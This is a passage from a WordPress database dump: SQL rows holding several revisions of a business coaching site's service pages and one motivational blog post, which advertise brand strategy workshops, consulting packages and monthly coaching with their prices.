src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonwhc-workshop.jpg" alt="" width="495" height="249" />\r\n\r\n<strong>Brand Strategy Workshop For Emerging Companies</strong>\r\nThis issue-based, highly facilitated one-day workshop is designed for business leaders and their teams who seek more insight, creative thinking, focus and consensus on overcoming specific brand strategy, business development or business transformation challenges.\r\n\r\nTypically organizations are inventing new business models, launching new products or transforming their business for the next level of growth. Client organizations for this level of consulting typically have annual revenue of $5-10 million+. There are four key areas of focus within the workshop day to help you build your strategic road map and make the right decisions for achievement of your business goals:\r\n\r\n<strong>•  To whom you market, identifying higher value clients who are the best fit for your business.</strong>\r\n\r\n<strong>•  What makes your offerings highly valued by customers and difficult for them to substitute.</strong>\r\n\r\n<strong>•  How to effectively express and message your brand positioning, value proposition and brand story in the marketplace to command premium pricing and competitive advantage.</strong>\r\n\r\n<strong>•  Creating more value at every touch point in the value chain with your customers and clients.</strong>\r\n\r\nThe strategic workshop includes a pre-workshop assessment of the specific challenges you’re currently facing in building your brand, appropriate workshop planning, workshop facilitation, and the post workshop preparation of an Executive Summary documenting the key insights, hypothesis, and strategic decisions discussed in the workshop session that will inform your team and guide next steps.\r\n<h6><strong>Investment: $8,500 USD plus travel expenses</strong></h6>\r\n<h3><a title="Learn more in a conversation with Thomson" href="mailto:thomson@whitehotcenter.com" target="_blank"><span style="color: #f88406;"><em>Learn more about how the One Day Brand Strategy Workshop can help you create a foundation for building the value of your brand in a conversation with Thomson.</em></span></a></h3>\r\n<h2><img title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2>Allow me to help you gain the clarity and confidence to create the success you desire in your business and in your whole life!</h2>\r\n<h2><strong>Are we a good fit for each other?</strong></h2>\r\n<strong>The attributes common to my best client relationships.</strong>\r\nTo help you determine if my consulting services are a good fit for you, allow me to describe the attributes common to my best clients relationships. My clients are entrepreneurs, solo professionals, leaders and their management teams in growing business organizations. My clients have a high degree of ambition, discipline and determination to succeed. Typically they’re at an inflection point in their journey seeking insight, inspiration and knowledge to help them elevate their success to the next level and beyond. They proactively invest financial resources for their future success into all areas of their business. Mutual respect and trust are the key drivers of our successful collaboration. My focus is providing insight, guidance and creativity to help my clients achieve successful outcomes.\r\n\r\n<strong>Typically, individual entrepreneurs and professional clients have annual incomes of $150,000+ and are seeking insight, knowledge and advice to double and triple that amount. The small business organizations I serve have annual sales or service billing revenue in the $5 – $10 million+ range. </strong>\r\n\r\n&nbsp;\r\n<h1><a title="Work with Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank"><em>Work With Thomson Dawson!</em></a></h1>\r\n&nbsp;\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'closed', 'closed', '', '138-revision-v1', '', '', '2015-10-05 18:53:35', '2015-10-06 01:53:35', '', 138, 'http://whc.fbdev.org/2015/10/138-revision-v1/', 0, 'revision', '', 0),
(1810, 2, '2011-11-27 12:15:05', '2011-11-27 19:15:05', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;">Your thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in your creative mind.\r\n</span></h2>\r\n<strong>In one-on-one and in group settings, I work with early stage entrepreneurs, solo professionals and start-up businesses to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. I offer marketing and business development expertise and advice to help you and your team focus on ideas, strategy and tactics to master the inner game (creative plane), and outer game (physical plane) of business and life success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand development marketing, communication and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, I have advised senior executives in diverse global companies, emerging companies, and owners of small start-ups alike. My expertise in customer insight, creativity in brand innovation, marketing, brand strategy and communications has contributed millions of dollars in revenue growth to over 70 organizations in North America and Europe. I work with forward thinking early-stage entrepreneurs to discover and pursue, with clarity and confidence, a bigger vision of their future.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nPersonal and Professional Development Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. From there, we can arrange a brief telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n<span style="color: #ff6600;">I am looking forward to working with you.\r\n</span>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<strong>\r\n</strong>\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-11-27 12:15:05', '2011-11-27 19:15:05', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-156/', 0, 'revision', '', 0),
(1802, 2, '2011-11-20 11:09:52', '2011-11-20 18:09:52', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;">Your thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.\r\n</span></h2>\r\n<strong>In one-on-one and in group settings, I work with early stage entrepreneurs, solo professionals and start-up businesses to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income.</strong>\r\n\r\nI offer marketing and business development expertise and advice to help you and your team focus on ideas, strategy and tactics to master the inner game (creative plane), and outer game (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand development marketing, communication and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, I have advised senior executives in diverse global companies, emerging companies, and owners of small start-ups alike. My expertise in customer insight, creativity in brand innovation, marketing, brand strategy and communications has contributed millions of dollars in revenue growth to over 70 organizations in North America and Europe. I work with forward thinking early-stage entrepreneurs to discover and pursue, with clarity and confidence, a bigger vision of their future. Two business development consulting packages are available through the White Hot Center:\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nThis issue-based consulting program is designed for early stage entrepreneurs, solo professionals and start-up businesses who are facing business development and marketing challenges that require an immediate solution to accelerate progress in taking their business to next level. If this describes your current circumstances, my expertise provides insight, strategic and creative guidance to help you and your team overcome current business development challenges that may be holding back your progress toward achieving your stated business goals. Together, we''ll design a strategic and creative business development platform for success in four key areas:\r\n\r\n<strong>To whom you market–identifying the high value customers that represent the best opportunity for your business to grow.\r\nWhy they buy– understanding the customer''s illumnitating needs, desires, motivations that drive engagement with your business products or services.\r\nWhat makes your business highly valued and difficult to substitute– clarity on what value your business represents to high value customers.\r\nHow you compete– designing the artifacts, communications and experiences that influence high value customers to become loyal avocates of your business.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+USD\r\nThe duration of this issue-based consulting engagement is generally within a 4-6 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. From there, we can arrange a brief telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n<span style="color: #ff6600;">I am looking forward to working with you.\r\n</span>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<strong>\r\n</strong>\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-11-20 11:09:52', '2011-11-20 18:09:52', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-150/', 0, 'revision', '', 0),
(1640, 2, '2010-12-27 15:50:04', '2010-12-27 22:50:04', '<img class="alignnone size-full wp-image-1193" title="opportunityvalue" src="http://whc.fbdev.org/wp-content/uploads/2010/10/opportunityvalue.gif" alt="expand your value in the world" width="446" height="335" />\r\n<h2><!-- p.MsoNormal, li.MsoNormal, div.MsoNormal { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; }p.MsoBodyText, li.MsoBodyText, div.MsoBodyText { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; font-weight: bold; }div.Section1 { page: Section1; } --> If you''re an entrepreneur at the early stages of success, most likely you''ve pondered how best to get your business to the next level of growth. To create high value opportunities to pursue what matters to you, and be massively compensated for doing so, you must increase your value to others first.</h2>\r\nTo begin, let’s define an “early-stage entrepreneur” as a person  whose business currently sustains them at a  “self-employed” job level,  but not at the level where their financial flow allows them to be free  to do whatever they please in a day. If this describes where you’re at  right now in your business, allow me to add value to you!\r\n\r\nWithout exception, every entrepreneur I’ve worked with has a burning  desire to attain a level of financial success that would enable them to  spend all their “work time” being creative and innovative, constantly in  a “state to play” with ideas that matter to them and bring more value  to the marketplace.\r\n\r\nEven when your vision about your greater future is clear, you still  need an answer you feel confident is the right one to the question of  “how do I get there?  Here are three ideas that may help you gain more  clarity about how you will go about creating more opportunity by  expanding your value to others.\r\n\r\n<strong>Supply is infinite, time is finite.</strong>\r\nThere are two variables in life common to all of us– potential and time. We all have the same amount of both in a day.\r\n\r\nThere is no more time available than what is provided in a day. You  choose how you occupy your time across the 24 hours in a single earth  rotation. Take 8 hours off for sleep, and the most you have available  for creating and experiencing what you want is 16 hours.\r\n\r\nOn the other hand, within a single earth rotation, there is infinite  supply of “potential opportunity” as yet unrealized. To attract this  potential opportunity to you, start by shifting your thinking from the  world of the finite or competitive plane (current perception of lack and  limitation) to the realm of the infinite or creative plane. (creativity  and innovation to create more value). It is from the latter that all  “value” is created. The source of infinite supply is found within  you–always available for your use. The formula is simple: perceived  value x leverage = wealth!\r\n\r\n<strong>Make a big space in your life for big changes.</strong>\r\nMost  early-stage entrepreneurs get stuck in the repetitive cycle of creating  “survival-based” results. At the early stage of the journey, it can  sometimes feel overwhelming just to keep the boat floating!  Many  believe outer forces–the state of the economy, not enough capital,  influential contacts, or cheaper competitors–determine their results.  Over time, many unconsciously set their efforts at the threshold of  survival, and believe greater achievements are simply not in the cards.\r\n\r\nStart by making a big space in your life for it to happen. Stop what  you are doing step back and make an assessment of your scene. Get rid of  anything in your business and your life that does not support you. And I  mean everything! Making a big space requires making big changes– in  your thinking, limiting beliefs, your habits, your relationships, your  support and organizational structure. Change whatever it takes to fill  the space with higher-value relationships that represent greater  financial appreciation for the value you provide.\r\n\r\nThen each year, set the bar ever higher. Instead of each client  transaction representing $10,000, over time it becomes $100,000. You  don’t increase your workload; you increase your perceived value to your  clients and customers. Embrace change and experience constant growth.  Growth leads to a constant increase in your confidence that ever-greater  opportunity will always seek you out.\r\n\r\n<strong>Be really good and really different.</strong>\r\nThis idea  might seem like an over simplification on the surface, but the effects  of this principle will have a profound impact on your ability to create  bigger opportunity to experience financial freedom through your  business.\r\n\r\nIn every product or service category there is commodization. We live  in a time and society where there is an abundance of everything in the  marketplace. Anytime there is an abundant supply, customers have  abundant choice. When customers have abundant choice among products or  services, they perceive little difference in the value they provide.  Consequently, they set the price.\r\n\r\nThis is what keeps many early-stage entrepreneurs on the short end of  the stick when it comes to their power in the buying cycle.  Whatever  you provide must be perceived as highly valued by your customers  (because your value is unique and in short supply) and highly  differentiated (from the slush pile of your competitors in the  marketplace).\r\n\r\nNever think for a moment that what has made another successful will  make you likewise. You have to follow your own unique path and  expression in creating value for others. Creating value begins by  engaging in what really matters to you! The world is already full of  me-too stuff!  Always remember this–value is in the eye of the  beholder!  You job is to grow the “quality of your presence” through  your unique gifts and strengths.\r\n\r\n<strong>To experience higher levels of business and life success, you  must first understand the difference between meeting demand and  creating it.  To get there, you must become a value creator as opposed  to an order taker!</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas we will engage ourselves in during a year-long series of four 2-day <a title="Quantum Leap Workshop Information" href="../hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater  clarity and confidence to define a compelling vision for your future–  and set the foundation to achieve your goal of taking your business to the next level  in an easy, relaxed, and joyful way. If you are interesting in  attending, <a href="http://whc.fbdev.org/contact/" target="_blank">email</a> me directly, or <a title="Quantum Leap Workshop Brochure" href="../wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Create bigger opportunities by expanding your value.', 0, '', 'inherit', 'open', 'open', '', '1192-revision-16', '', '', '2010-12-27 15:50:04', '2010-12-27 22:50:04', '', 1192, 'http://www.whitehotcenter.com/2010/12/27/1192-revision-16/', 0, 'revision', '', 0),
(1639, 2, '2011-06-17 11:59:55', '2011-06-17 18:59:55', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nMy purpose is to inspire, guide and create ideas for successful, early stage entrepreneurs and solo professionals you seek greater clarity, confidence and velocity to pursue their best opportunities to have more impact, influence and income. My passion is to help you see a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nOur work together will focus on ideas, strategy and tactics for mastering the inner (creative plane), and outer (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpand the quality of your presence and influence by elevating your thoughts, your effectiveness, and your contribution to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDevelop a compelling vision for your total life experience based solely on what truly matters to you, living harmoniously from your own white hot center.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;"> I work with successful, early-stage entrepreneurs, helping them to discover and pursue with clarity and confidence a bigger vision of their future.<strong> Through insight, guidance and creativity I''ll help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.</strong></span></h2>\r\n<span style="color: #808080;"><strong>\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong> </strong></span><strong>Three decades of business development expertise.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a successful, creative entrepreneur, designer, writer, creative director, brand strategy and marketing consultant. In that time, I''ve worked with senior executives in diverse global companies and with owners of small start-ups alike. My expertise contributes to their capabilities, improves their effectiveness, and helps them make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nThis issue-based consulting program is designed for early stage entrepreneurs and solo professionals who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the source code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. The strategic business development consulting is designed for those  entrepreneurs who have identified a specific business development and marketing issue that requires an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, I provide strategic and creative guidance to help you overcome whatever barriers are holding back your progress toward achieving your stated business goals.\r\n<h2>Here''s what we''ll make happen:</h2>\r\n<strong>Through innovation and creativity, we’ll create a detailed plan designed around the strengths and unique talents that will foster sustained competitive advantage in for your business. </strong>\r\n\r\n<strong>With you (and your team), we''ll develop a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. </strong>\r\n\r\n<strong>To leverage your enhanced positioning, we''ll create specific recommendations and strategic imperatives to improve the effectiveness of building your brand identity, your marketing, and business development communications at every touch point of interaction with your clients and customers.</strong>\r\n\r\n<strong>As a result of our work together, you''ll experience notably more clarity and confidence to pursue your best opportunities to serve higher value clients and customers who delight in their experience in doing business with you and sharing this value with others.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+USD\r\nThe duration of this issue-based consulting engagement is generally within a 6-8 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly\r\n</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-06-17 11:59:55', '2011-06-17 18:59:55', '', 138, 'http://www.whitehotcenter.com/2011/06/17/138-revision-130/', 0, 'revision', '', 0),
(1211, 2, '2010-10-29 14:58:48', '2010-10-29 21:58:48', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> You determine your success–not the economy, lack of capital, connections or knowledge. There are two guiding principles that form the bedrock of my point of view on creating a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your financially abundant business– with the result being more money to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>White Hot Center Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>I provide guidance and creativity to help you discover, define and pursue your best opportunities to create more value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. Many of my clients are a seeking improvements in one or all of these areas :</span></span></strong>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong> personal and professional growth, (the inner game)\r\nlifestyle design, ( methods and tactics for creating what you want)</strong><strong>\r\nvalue creation ( innovation / creativity / product development )</strong><strong>\r\ndemand generation, ( targeting, positioning, branding, marketing, sales, and  communications)</strong></span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;">For over 25 years, I have been a marketing, brand strategy and creative consultant to global companies and venture start-ups alike. My corporate clients have included Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA. I have also consulted with dozens of mid-size companies and venture-funded start-ups in diverse industries.  My nearly three decades of successful entrepreneurial and business building expertise, coupled with my passion for living my life with creativity, authenticity, passion and service enable me to be a catalyst for change and growth for successful early stage entrepreneurs who seek insight, inspiration and tools to build their bigger future.  I offer several levels of consulting engagements:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for early stage entrepreneurs who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level  have sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the discipline necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you. You''ll gain deeper insight and clarity on what is in the way of your business and personal growth. I will help you lock on to a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$10-15K USD  This package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers , start-up entrepreneurs, professionals and artists to gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to create greater value!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-10-29 14:58:48', '2010-10-29 21:58:48', '', 138, 'http://www.whitehotcenter.com/2010/10/29/138-revision-76/', 0, 'revision', '', 0);
